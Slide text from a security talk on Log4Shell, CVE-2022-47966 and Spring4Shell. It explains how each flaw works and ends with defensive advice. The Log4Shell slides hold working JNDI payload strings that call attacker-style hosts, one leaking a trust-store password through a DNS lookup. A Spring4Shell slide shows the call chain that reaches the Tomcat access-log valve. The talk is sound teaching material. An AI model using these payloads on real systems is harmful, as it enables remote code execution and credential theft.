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Introduction: Kai Ullrich

• 25 years IT Security

• 7 years developer (C/Java)

• 12 years consulting

• 5,5 years Red Team Penetration Tester and Security Researcher



Introduction: Kai Ullrich

• Threat modeling

• Vulnerability Assessment

• Source Code Reviews

• Awareness Trainings

• Offensive Security Trainings

• Attack Surface Management

• … and more



Why this talk?





Agenda: Three vulnerabilities

• CVE-2021-44228 (aka “log4shell“)

• CVE-2022-47966 (aka “SAML showstopper“)

• CVE-2022-22965 (aka “spring4shell“)





${sys:os.name} → Windows

${jndi:jdbcConnName} → myDBConnection

${jndi:ldap://3.204.11.121/evil} 

${jndi:ldap://${sys:trustStorePwd}.evil.ch/evil} 





Who is mys3cr3t.evilserver.com?

${jndi:ldap://${sys:trustStorePassword}.evilserver.com/evil} 



Log4j: Two exploitation use cases

1. “Data Exfiltration Use case“

2. JNDI Injection



The “not-so-well-known“ feature

JNDI/LDAP



objectClass: javaSerializedObject

Name Description

javaClassName Name of the class

javaSerializedData Serialized form of the object

javaCodebase Location of the class definitions needed to deserialize



objectClass: javaNamingReference

Name Description

javaClassName Name of the class

javaCodebase Location of the factory class

javaFactory Optional fully qualified factory class name



ldap://evilserver.com/evil

JNDI-
Reference

Evil LDAP 
Server

Evil HTTP 
Server



https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-
RCE.pdf
https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-
RCE-wp.pdf

https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf
https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf
https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf
https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf


String attackerControlledValue = …

Context ctxt = new InitialContext ();
ctxt.lookup (attackerControlledValue);



Still possible today?!?!

• The attack vector originally described in the talk from Munoz/Mirosh
doesn‘t work anymore in recent JVMs

• There exist variants which still work under certain circumstances
• When the right instance of javax.naming.spi.ObjectFactory is in the victim‘s

classpath then no URL classloading and no deserialization is needed

• This is the case e.g. in Tomcat



HTTP PROXY

1

1 DNS requests are served by internal DNS server which
resolves only internal names

2

2 For internet connections, only http(s) is allowed. 
Connections go through proxy which does internet DNS

19



Demo



Demo: CVE-2022-47966



Demo: CVE-2022-47966





CVE-2022-22965 „Spring4Shell“



CVE-2022-22965

param1=wert1 ➔ model.setParam1(„wert1“);

param1.nestedValue.param=wert1 ➔

model.getParam1().getNestedValue().setParam („wert1“)

• The expressions on the right hand side are dynamically computed

• This allows to call getters and setters from the outside



Call Chain
HelloWorld.getClass()
└Class.getModule ()
└Module.getClassLoader ()
└ParallelWebappClassLoader.getResources ()
└StandardRoot.getContext ()
└StandardContext.getParent ()
└StandardHost.getPipeline ()
└StandardPipeline.getFirst () → AccessLogValve



Demo



Conclusion

• Proper QA procedures

• Static code scanners (CodeQL)

• Keep your build dependencies up to date

• Dependency Graph for build dependecies (SOBM)

• Proper input validation



Conclusion II

• Input validation cannot be overemphasized

• Type safety, type safety, type safety …

• Avoid generic reflection code

• Keep your dependency footprint small



Thank you for attending!

E-Mail: kai@kysecc.com
Site : www.kysecc.com

If you‘re interested in knowing more, check out my „Security Awareness for Java Developers“ 
training at:

https://www.kysecc.com/de/awareness-java-developer.html

or contact me!

https://www.kysecc.com/de/awareness-java-developer.html
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